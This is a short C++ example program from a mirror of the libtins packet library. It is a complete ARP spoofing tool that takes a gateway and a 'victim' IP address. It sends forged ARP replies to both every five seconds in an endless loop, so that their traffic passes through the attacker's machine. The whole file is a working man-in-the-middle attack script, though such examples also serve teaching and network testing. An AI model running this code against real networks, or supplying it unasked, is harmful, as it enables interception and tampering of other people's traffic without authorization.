mirror of
https://github.com/mfontanini/libtins
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80 lines
2.4 KiB
C++
80 lines
2.4 KiB
C++
#include <iostream>
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#include <string>
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#include <stdint.h>
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#include <cstdlib>
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#include "arp.h"
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#include "utils.h"
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#include "ethernetII.h"
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using namespace std;
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using namespace Tins;
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int do_arp_spoofing(uint32_t iface, const string &iface_name, uint32_t gw, uint32_t victim, uint32_t own_ip, uint8_t *own_hw) {
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PacketSender sender;
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uint8_t gw_hw[6], victim_hw[6];
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if(!Utils::resolve_hwaddr(iface_name, gw, gw_hw, &sender)) {
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cout << "Could not resolve gateway's ip address.\n";
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return 5;
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}
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if(!Utils::resolve_hwaddr(iface_name, victim, victim_hw, &sender)) {
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cout << "Could not resolve victim's ip address.\n";
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return 6;
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}
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cout << "Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n";
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cout << "Using victim hw address: " << Utils::hwaddr_to_string(victim_hw) << "\n";
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cout << "Using own hw address: " << Utils::hwaddr_to_string(own_hw) << "\n";
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ARP *gw_arp = new ARP(), *victim_arp = new ARP();
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gw_arp->sender_hw_addr(own_hw);
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gw_arp->target_hw_addr(gw_hw);
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gw_arp->sender_ip_addr(victim);
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gw_arp->target_ip_addr(gw);
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gw_arp->opcode(ARP::REPLY);
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victim_arp->sender_hw_addr(own_hw);
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victim_arp->target_hw_addr(victim_hw);
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victim_arp->sender_ip_addr(gw);
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victim_arp->target_ip_addr(victim);
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victim_arp->opcode(ARP::REPLY);
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EthernetII to_gw(iface, gw_hw, own_hw, gw_arp);
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EthernetII to_victim(iface, victim_hw, own_hw, victim_arp);
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while(true) {
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sender.send(&to_gw);
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sender.send(&to_victim);
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sleep(5);
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}
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}
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int main(int argc, char *argv[]) {
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if(argc < 3 && cout << "Usage: <Gateway> <Victim> [Interface=eth0]\n")
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return 1;
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uint32_t gw, victim, own_ip;
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uint8_t own_hw[6];
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string iface("eth0");
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try {
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gw = Utils::ip_to_int(argv[1]);
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victim = Utils::ip_to_int(argv[2]);
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}
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catch(...) {
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cout << "Invalid ip found...\n";
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return 2;
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}
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if(argc == 4)
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iface = argv[3];
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uint32_t iface_index;
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if(!Utils::interface_id(iface, iface_index) && cout << "Interface " << iface << " does not exist!\n")
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return 3;
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if(!Utils::interface_hwaddr(iface, own_hw) || !Utils::interface_ip(iface, own_ip)) {
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cout << "Error fetching addresses from " << iface << "\n";
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return 4;
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}
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return do_arp_spoofing(iface_index, iface, gw, victim, own_ip, own_hw);
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}
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